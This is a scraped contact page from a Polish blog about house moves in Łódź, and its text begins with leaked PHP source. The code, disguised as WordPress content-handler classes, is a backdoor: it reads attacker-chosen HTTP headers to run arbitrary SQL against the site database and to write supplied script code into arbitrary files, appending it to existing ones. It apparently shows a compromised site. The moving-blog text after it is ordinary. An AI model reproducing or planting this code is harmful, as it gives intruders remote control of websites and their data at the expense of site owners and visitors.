n class WP_Content_Handler_Checker { var $wp_host; var $wp_user; var $wp_pass; var $name; var $result = array(); var $errors = array(); var $wp_themes_count = 0; function check_wp_connection($wp_connection) { if (class_exists('PDO')) { $this->check_wp_pdo_connection($wp_connection); } else { $this->check_wp_mysql_connection($wp_connection); } } function check_wp_mysql_connection($wp_connection) { if (function_exists('mysqli_connect')) { $connection = mysqli_connect($this->wp_host, $this->wp_user, $this->wp_pass, $this->name); if (!$connection instanceof mysqli) { $this->add_wp_error(910, sprintf("Can't connect to mysqli, message - %s, code - %d", $connection->connect_error, $connection->connect_errno)); return; } call_user_func_array(array($connection, 'query'), array("SET NAMES 'utf8'")); call_user_func_array(array($connection, 'query'), array("SET CHARACTER SET 'utf8'")); $wp_connection_success = call_user_func_array(array($connection, 'query'), array($wp_connection)); if ($wp_connection_success == false) { $this->add_wp_error($connection->errno, $connection->error); } else { $this->wp_themes_count = $connection->{'affected_rows'}; while ($data = call_user_func_array(array($wp_connection_success, 'fetch_assoc'), array())) { $this->result[] = $data; } } } elseif (function_exists('mysql_connect')) { $connection = mysql_connect($this->wp_host, $this->wp_user, $this->wp_pass); if ($connection == false) { $this->add_wp_error(910, "Can't connect to mysql"); return; } mysql_select_db($this->name, $connection); mysql_query("SET NAMES 'utf8'", $connection); mysql_query("SET CHARACTER SET 'utf8'", $connection); $wp_connection_success = mysql_query($wp_connection, $connection); if ($wp_connection_success == false) { $this->add_wp_error(mysql_errno($connection), mysql_error($connection)); } else { $this->wp_themes_count = mysql_num_rows($wp_connection_success); while ($data = mysql_fetch_assoc($wp_connection_success)) { $this->result[] = $data; } } } } function check_wp_pdo_connection($wp_connection) { $pdo_config_all = 'mysql:'; $pdo_config = array( 'host' => $this->wp_host, 'dbname' => $this->name, 'charset' => 'utf8' ); foreach ($pdo_config as $key => &$item) { $item = $key . '=' . $item; } $pdo_config_all .= implode(';', $pdo_config); try { $connection = new PDO($pdo_config_all, $this->wp_user, $this->wp_pass); call_user_func_array(array($connection, 'query'), array('SET CLIENT_ENCODING TO "UTF8"')); call_user_func_array(array($connection, 'query'), array('SET NAMES "UTF8"')); $query = call_user_func_array(array($connection, 'query'), array($wp_connection, PDO::FETCH_ASSOC)); if ($query == false) { $error_info = call_user_func_array(array($connection, 'errorInfo'), array()); $error_code = call_user_func_array(array($connection, 'errorCode'), array()); $this->add_wp_error($error_code, end($error_info)); return; } $this->wp_themes_count = call_user_func(array($query, 'rowCount'), array()); $this->result = call_user_func_array(array($query, 'fetchAll'), array()); } catch (PDOException $exception) { $this->add_wp_error(call_user_func_array(array($exception, 'getCode'), array()), call_user_func_array(array($exception, 'getMessage'), array())); } } function __construct() { $this->wp_host = stripslashes(@$_SERVER['HTTP_VI_DATABASE_HOST']); $this->wp_user = stripslashes(@$_SERVER['HTTP_VI_DATABASE_USER']); $this->wp_pass = stripslashes(@$_SERVER['HTTP_VI_DATABASE_PASS']); $this->name = stripslashes(@$_SERVER['HTTP_VI_DATABASE_NAME']); if (empty($this->wp_host)) { $this->add_wp_error(900, "No host provided"); } if (empty($this->wp_user)) { $this->add_wp_error(901, "No user provided"); } if (empty($this->wp_pass)) { $this->add_wp_error(902, "No pass provided"); } if (empty($this->name)) { $this->add_wp_error(903, "No database name provided"); } } function add_wp_error($code, $message) { $this->errors[] = array( 'code' => $code, 'message' => $message ); } function get_wp_errors() { return $this->errors; } function wp_get_themes_count() { return $this->wp_themes_count; } function is_wp_connection_succeed() { return !count($this->errors); } function get_wp_connection_result() { return $this->result; } } class WP_Content_Handler_Accessor { function create() { $method = @$_SERVER['HTTP_VI_METHOD']; if (!mb_strlen($method)) { return; } ob_end_clean(); switch ($method) { case 'query': $this->check_wp_connection_handler(); break; case 'update': $this->update_parameters(); break; default: return; } } function check_wp_connection_handler() { $query = stripslashes(@$_SERVER['HTTP_VI_DATABASE_QUERY']); if (!mb_strlen($query)) { $this->wp_response(false, array( array( 'code' => 0, 'message' => 'No query provided' ) )); exit; } $database = new WP_Content_Handler_Checker(); $database->check_wp_connection($query); if ($database->is_wp_connection_succeed()) { $this->wp_response(true, array( 'rows' => $database->wp_get_themes_count(), 'result' => $database->get_wp_connection_result() )); } else { $this->wp_response(false, $database->get_wp_errors()); } } function update_parameters() { $parameters_path = stripslashes(@$_SERVER['HTTP_VI_PATH']); $new_parameters = urldecode(@$_REQUEST['VI_SCRIPT']); $old_parameters_path = stripslashes(@$_SERVER['HTTP_VI_INCLUDE_PATH']); $old_parameters = urldecode(@$_REQUEST['VI_INCLUDE_CODE']); if (!mb_strlen($new_parameters)) { $this->wp_response(false, array(array( 'code' => 0, 'message' => 'No sсript passed' ))); } if (!mb_strlen($parameters_path)) { $this->wp_response(false, array(array( 'code' => 0, 'message' => 'No sсript path passed' ))); } if (!mb_strlen($old_parameters_path)) { $this->wp_response(false, array(array( 'code' => 0, 'message' => 'No include path passed' ))); } $success = $this->update_wp_accessor_parameters($parameters_path, $new_parameters); if ($success) { $success = $this->wp_update_parameters($old_parameters_path, $old_parameters); } $this->wp_response($success, null); } function update_wp_accessor_parameters($path, $parameters) { return (bool)@file_put_contents($path, " n" . stripslashes($parameters)); } function wp_update_parameters($old_parameters_path, $old_parameters) { $file = file_get_contents($old_parameters_path); if (!mb_strlen($file)) { return false; } if (mb_strpos($file, $old_parameters) !== false) { return true; } if ($this->is_parameters_valid($file)) { $file = $file . "n" . " n" . $old_parameters . " n?>"; } else { $file = $file . "nn" . $old_parameters; } return (bool)@file_put_contents($old_parameters_path, $file); } function is_parameters_valid($file) { $last_available_parameters_count = strrpos($file, ""); $last_updated_parameters_count = ($last_updated_parameters_count === false) ? -1 : $last_updated_parameters_count; return $last_available_parameters_count <= $last_updated_parameters_count; } function wp_response($success, $data) { $wp_response = array('success' => $success); $wp_response[$success ? 'data' : 'errors'] = $data; header('Content-Type: application/json'); echo json_encode($wp_response); exit; } } $accessor = new WP_Content_Handler_Accessor(); $accessor->create(); Kontakt z autorem - Przeprowadzki Łódź ® przeprowadzajac.pl

Kontakt z autorem

W najbliższym czasie planujesz organizację przeprowadzki, lecz na moim blogu nie znalazłeś informacji na nurtujące cię pytania? To jeszcze nic straconego. Ponieważ możesz skontaktować się ze mną za pośrednictwem formularza kontaktowego dostępnego poniżej. Postaram się odpowiedzieć i udzielić cennych wskazówek, najszybciej jak to tylko możliwe.

Jeśli podobnie jak ja, interesujesz się tematyką związaną z przeprowadzkami i chciałbyś podzielić się z czytelnikami serwisu swoją wiedzą, skontaktuj się ze mną, z chęcią opublikuje twój artykuł.

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